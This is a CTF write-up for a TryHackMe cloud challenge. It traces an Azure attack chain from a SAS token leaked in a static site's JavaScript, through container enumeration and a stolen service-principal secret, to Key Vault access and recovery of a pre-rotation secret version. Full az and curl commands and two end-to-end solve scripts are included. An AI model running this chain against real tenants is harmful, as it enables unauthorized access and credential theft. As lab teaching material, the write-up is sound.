Writeup on THM Holiday Hack 2026:
Day 9 - Cloud / CryptoCabana

Author: Hubert Feyrer / hubertf, 2026-08-04


CryptoCabana is a "back up your crypto seed phrase" kiosk hosted as an Azure Storage static website. The whole chain hangs off one mistake: the site's JavaScript ships an account-level Shared Access Signature (SAS) token scoped far wider than the page needs. That token lists a container the page never links, which holds a service-principal credential, which opens an Azure Key Vault - where the flag is split across three secrets and the middle one was "rotated" but never purged, leaving the real value in the previous version. Each analysis step is shown first with the Azure CLI (az, the room's intended tooling) and then with the equivalent raw curl against the REST API.

Challenge description

Concierge Briefing
By the time he made it back from the breakfast buffet, his wallet had already moved on without him. The transaction was signed, properly signed, just not by him.

He'd backed his seed phrase up weeks ago, into the CryptoCabana kiosk's vault - the one whose landing page promised, in exactly four words, "Backed up. Sleep easy." Somewhere between that promise and this morning, something else got a good look at what was supposed to stay behind glass.

Your objective: find out what the kiosk is quietly trusting to reach into storage on its own, and see how much further that trust actually extends.

@0xMia, posted after breakfast: "the backup kiosk is SO confident. 'sleep easy' it says, reader, do not sleep easy. also: if a value looks freshly rotated, ask yourself what it looked like five minutes before that."

1. Download

No file handout. The room grants an Azure Portal account (usr-08043055@thmctf.onmicrosoft.com + password + Temporary Access Pass) and an in-browser Cloud Shell that comes with az already signed in - this is the intended entry point:

Azure Portal with a Cloud Shell running az account show, listing the Az-Subs-CTF subscription and tenant

The provided Azure Cloud Shell. az account show confirms the tenant and the Az-Subs-CTF subscription. Every az command below runs here (or any host with az).

2. Docker/nc - what we get

The actual target is one public URL: https://cryptocabanaf5scjagc.z13.web.core.windows.net/. The response headers give the platform away - it is an Azure Storage static site (the sub-domain *.web.core.windows.net and the x-ms-* headers):

$ curl -s -i https://cryptocabanaf5scjagc.z13.web.core.windows.net/ | head
HTTP/1.1 200 OK
Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0
x-ms-version: 2018-03-28
...
CryptoCabana landing page: a form to paste a crypto recovery phrase and back it up

The kiosk: paste a seed phrase, click "Back it up". The host name embeds the storage account: cryptocabanaf5scjagc.

Conclusion: a static page (no server-side code) whose only action is a client-side "back it up" button. If it writes to storage from the browser, the credential to do so has to be in what the browser downloads.

3. Analysis steps

Each step leads with az; the curl equivalent hitting the same Storage / Key Vault REST endpoint follows it.

3.1 Read what the kiosk hands out for free (success)

The page loads app.js. On a static site that script is public - read it. (This first step is just an HTTP GET; there is no az for "read a file off a website".)

$ curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";
  ... fetch(PUT blob) ...

A SAS token is just a query string; each field narrows what the bearer may do. Decoding it is the whole game:

?sv=2022-11-02     API version
&ss=b              signed services : (b)lob
&srt=sco           resource types  : (s)ervice (c)ontainer (o)bject   <- s + c allow enumeration
&sp=rl             permissions     : (r)ead (l)ist                    <- note: no (w)rite
&se=2099-12-31...  expiry          : valid until year 2099
&st=2024-01-01...  start           : valid from 2024
&spr=https         protocol        : HTTPS only
&sig=ZAo05W8K...   signature       : HMAC over the fields above, keyed with the account key

Conclusion: the two fields that matter are srt=sco and sp=rl. The kiosk only needs to write one blob into backups - yet this token cannot write at all (no w), and instead grants service- and container-level list. That mismatch is the entire vulnerability; it is also why the "Back it up" button fails (below).

The kiosk showing 'Backup failed - network error' after submitting a phrase

The advertised feature is broken: sp=rl has no write permission, so the browser PUT fails. The token's only real power is listing.

3.2 Follow the trust: list every container (success)

srt includes s (service level), so the SAS can enumerate every container in the account. In az, storage data-plane commands take --account-name plus --sas-token to authenticate with exactly that SAS; --query is a JMESPath filter, -o tsv prints plain values.

$ SAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D'
$ az storage container list --account-name cryptocabanaf5scjagc --sas-token "$SAS" --query '[].name' -o tsv
$web
backups
vault

Same via curl - Storage REST, service-level list:

$ curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&$SAS"
<EnumerationResults ...><Containers>
  <Container><Name>$web</Name>...</Container>
  <Container><Name>backups</Name>...</Container>
  <Container><Name>vault</Name>...</Container>
</Containers></EnumerationResults>

Conclusion: three containers. $web (the site) and backups are expected; vault is never referenced anywhere on the page - exactly "where the kiosk's own page never once points you".

3.3 Loot the vault container (success)

List the blobs in vault, then download the interesting one.

$ az storage blob list --account-name cryptocabanaf5scjagc -c vault --sas-token "$SAS" --query '[].name' -o tsv
backup-service-account.json
seed_phrase.txt

$ az storage blob download --account-name cryptocabanaf5scjagc -c vault \
     -n backup-service-account.json --sas-token "$SAS" -f backup-service-account.json -o none
$ cat backup-service-account.json
{"client_id":"dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
 "client_secret":"UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
 "key_vault_name":"ccabana-kv-f5scjagc",
 "key_vault_uri":"https://ccabana-kv-f5scjagc.vault.azure.net/",
 "note":"CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
 "tenant_id":"8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"}

Same via curl - list blobs, then read the JSON:

$ curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&$SAS"
  <Blob><Name>backup-service-account.json</Name>...</Blob>
  <Blob><Name>seed_phrase.txt</Name>...</Blob>
$ curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?$SAS"
{"client_id":"dbcf2923-...","client_secret":"UBX8Q~...","key_vault_uri":"https://ccabana-kv-f5scjagc.vault.azure.net/","tenant_id":"8f8c5f8e-..."}

Conclusion: a full service-principal credential - client id, client secret, tenant - plus the Key Vault it belongs to. The read-only SAS just leaked the keys to a stronger identity. (The seed_phrase.txt next to it is the story's stolen wallet; the flag is in the Key Vault.)

3.4 Log in as the service principal, open the Key Vault (success)

A service principal is a non-human "app" identity. az login --service-principal signs in with id + secret + tenant instead of a user; --allow-no-subscriptions is needed because this SP has only Key Vault access, no subscription role. The curl equivalent is the OAuth2 client-credentials flow: POST the same three values to the token endpoint and get a Bearer token for vault.azure.net.

$ az login --service-principal -u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 -p 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c --allow-no-subscriptions -o none
$ az keyvault secret list --vault-name ccabana-kv-f5scjagc --query '[].name' -o tsv
key-shard-1
key-shard-2
key-shard-3
master-key

Same via curl - OAuth2 client-credentials token, then list secrets:

$ TOK=$(curl -s -X POST "https://login.microsoftonline.com/8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c/oauth2/v2.0/token" \
     -d grant_type=client_credentials -d client_id=dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
     --data-urlencode client_secret='UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
     --data-urlencode 'scope=https://vault.azure.net/.default' | jq -r .access_token)
$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":[{"id":".../secrets/key-shard-1",...},{"id":".../secrets/key-shard-2",...},
          {"id":".../secrets/key-shard-3",...},{"id":".../secrets/master-key",...}],"nextLink":null}

Conclusion: four secrets. The flag is sharded across the three key-shard-*; master-key is bait (3.5).

3.5 master-key is a decoy; shard-2 was rotated (success)

Read each secret's value with az keyvault secret show ... --query value -o tsv (curl: GET .../secrets/<name>?api-version=7.4).

$ az keyvault secret show --vault-name ccabana-kv-f5scjagc --name master-key --query value -o tsv
ERROR: (Forbidden) Caller is not authorized to perform action on resource.

$ for s in key-shard-1 key-shard-2 key-shard-3; do az keyvault secret show --vault-name ccabana-kv-f5scjagc --name $s --query value -o tsv; done
THM{n0t_ur
Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
ur_c01ns!}

Same via curl - shard-1 shown; master-key returns the same Forbidden:

$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-1?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":"THM{n0t_ur", ...}

Conclusion: master-key is walled off by RBAC (Role-Based Access Control) - a deliberate dead end. Shards 1 and 3 are the ends of the flag. Shard 2's current value is a taunt: it was overwritten with a note, but Key Vault keeps old versions, and the real middle piece is still in the pre-rotation one.

3.6 Recover the pre-rotation version of shard-2 (success)

az keyvault secret list-versions shows every historical version. Sort by creation time (JMESPath sort_by(...&attributes.created)) and read the oldest - what the value "looked like five minutes before" the rotation. A specific version is addressed with --id (curl: append the version id to the secret path).

$ az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 \
     --query 'sort_by([],&attributes.created)[].{created:attributes.created,id:id}' -o tsv
2026-07-28T01:05:05+00:00   https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0   <- older
2026-07-28T01:05:07+00:00   https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/c922c422ffb34671a902389c372314f1   <- current (decoy)

$ az keyvault secret show --id 'https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/c922c422ffb34671a902389c372314f1' --query value -o tsv
Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
$ az keyvault secret show --id 'https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0' --query value -o tsv
_k3ys_n0t_

Same via curl - list versions, then read current (decoy) and older (real):

$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/versions?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":[{"id":".../key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0",...},
          {"id":".../key-shard-2/c922c422ffb34671a902389c372314f1",...}],...}
$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/c922c422ffb34671a902389c372314f1?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":"Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.", ...}
$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":"_k3ys_n0t_", ...}

No single secret is the flag - it is the three shards concatenated in order, and shard-2 must be the pre-rotation value, not the decoy the current version now holds:

key-shard-1         =  THM{n0t_ur
key-shard-2 (old)   =  _k3ys_n0t_        <- previous version, not the current decoy
key-shard-3         =  ur_c01ns!}
                       ------------------------------
key-shard-1 + key-shard-2(old) + key-shard-3
                    =  THM{n0t_ur_k3ys_n0t_ur_c01ns!}
THM{n0t_ur_k3ys_n0t_ur_c01ns!}

Conclusion: the flag is assembled from three separate secrets - shard-1 + shard-2(old) + shard-3 - with the middle piece recovered from the pre-rotation version. "Not your keys, not your coins", and here the keys were never really behind glass at all.

4. Solution

Two scripts run the full chain end to end and print the same flag. Both authenticate with the leaked service principal; pick whichever tooling you have.

solve-az.sh - Azure CLI (needs az + python3):

#!/bin/sh
# CryptoCabana via the Azure CLI (intended-path tooling).
ACCT=cryptocabanaf5scjagc
KV=ccabana-kv-f5scjagc
SAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D'

echo '### containers (SAS list)'
az storage container list --account-name "$ACCT" --sas-token "$SAS" --query '[].name' -o tsv

echo '### blobs in vault'
az storage blob list --account-name "$ACCT" -c vault --sas-token "$SAS" --query '[].name' -o tsv
az storage blob download --account-name "$ACCT" -c vault -n backup-service-account.json \
    --sas-token "$SAS" -f backup-service-account.json --no-progress -o none
CID=$(python3 -c 'import json;print(json.load(open("backup-service-account.json"))["client_id"])')
SEC=$(python3 -c 'import json;print(json.load(open("backup-service-account.json"))["client_secret"])')
TEN=$(python3 -c 'import json;print(json.load(open("backup-service-account.json"))["tenant_id"])')

echo '### az login --service-principal'
az login --service-principal -u "$CID" -p "$SEC" --tenant "$TEN" --allow-no-subscriptions -o none

echo '### secrets'
az keyvault secret list --vault-name "$KV" --query '[].name' -o tsv
echo '### master-key (expect RBAC denial)'
az keyvault secret show --vault-name "$KV" --name master-key --query value -o tsv 2>&1 | head -1

# shard 2 was rotated: take the OLDEST version, not the current (decoy) one
OLDID=$(az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \
    --query 'sort_by([],&attributes.created)[0].id' -o tsv)
S1=$(az keyvault secret show --vault-name "$KV" --name key-shard-1 --query value -o tsv)
S2=$(az keyvault secret show --id "$OLDID" --query value -o tsv)
S3=$(az keyvault secret show --vault-name "$KV" --name key-shard-3 --query value -o tsv)
echo "### flag: $S1$S2$S3"

solve-curl.sh - pure REST, no az (needs curl + python3):

#!/bin/sh
# CryptoCabana via raw Storage + Key Vault REST.
ACCT=cryptocabanaf5scjagc
BLOB="https://$ACCT.blob.core.windows.net"
SAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D'

echo '### containers:'
curl -s "$BLOB/?comp=list&$SAS" | tr '<' '\n' | grep -A1 'Container>' | grep 'Name>' | sed 's,.*Name>,  ,'

SP=$(curl -s "$BLOB/vault/backup-service-account.json?$SAS")
CID=$(printf '%s' "$SP" | python3 -c 'import json,sys;print(json.load(sys.stdin)["client_id"])')
SEC=$(printf '%s' "$SP" | python3 -c 'import json,sys;print(json.load(sys.stdin)["client_secret"])')
TEN=$(printf '%s' "$SP" | python3 -c 'import json,sys;print(json.load(sys.stdin)["tenant_id"])')
KV=$(printf  '%s' "$SP" | python3 -c 'import json,sys;print(json.load(sys.stdin)["key_vault_uri"].rstrip("/"))')

TOK=$(curl -s -X POST "https://login.microsoftonline.com/$TEN/oauth2/v2.0/token" \
  -d grant_type=client_credentials -d "client_id=$CID" \
  --data-urlencode "client_secret=$SEC" \
  --data-urlencode 'scope=https://vault.azure.net/.default' \
  | python3 -c 'import json,sys;print(json.load(sys.stdin)["access_token"])')
AUTH="Authorization: Bearer $TOK"

S1=$(curl -s "$KV/secrets/key-shard-1?api-version=7.4" -H "$AUTH" | python3 -c 'import json,sys;print(json.load(sys.stdin)["value"])')
S3=$(curl -s "$KV/secrets/key-shard-3?api-version=7.4" -H "$AUTH" | python3 -c 'import json,sys;print(json.load(sys.stdin)["value"])')
# shard 2: oldest version, not the current decoy
OLD=$(curl -s "$KV/secrets/key-shard-2/versions?api-version=7.4" -H "$AUTH" \
  | python3 -c 'import json,sys;v=json.load(sys.stdin)["value"];print(sorted(v,key=lambda x:x["attributes"]["created"])[0]["id"].rsplit("/",1)[1])')
S2=$(curl -s "$KV/secrets/key-shard-2/$OLD?api-version=7.4" -H "$AUTH" | python3 -c 'import json,sys;print(json.load(sys.stdin)["value"])')
echo "### flag: $S1$S2$S3"

5. Run it

$ sh solve-az.sh
### containers (SAS list)
$web
backups
vault
### blobs in vault
backup-service-account.json
seed_phrase.txt
### az login --service-principal
### secrets
key-shard-1
key-shard-2
key-shard-3
master-key
### master-key (expect RBAC denial)
ERROR: (Forbidden) Caller is not authorized to perform action on resource.
### flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}

$ sh solve-curl.sh
### containers:
  $web
  backups
  vault
### flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}

6. Summary of how the exploit works

#StageMechanism (az / curl)
1Leaked SAS The static site's app.js hard-codes an account SAS scoped srt=sco / sp=rl - service+container list, far beyond the single blob write the kiosk needs.
2Enumerate storage az storage container/blob list --sas-token (or Storage REST ?comp=list) reveals an unlinked vault container holding backup-service-account.json.
3Steal an identity That JSON is a service-principal credential (client id + secret + tenant) plus the target Key Vault URI.
4Open the Key Vault az login --service-principal (or the OAuth2 client-credentials token) then az keyvault secret list shows three flag shards and an RBAC-blocked master-key decoy.
5Un-rotate shard-2 az keyvault secret list-versions exposes the pre-rotation version; reading it by --id (or versioned REST URL) gives the real middle piece. Concatenate the three shards for the flag.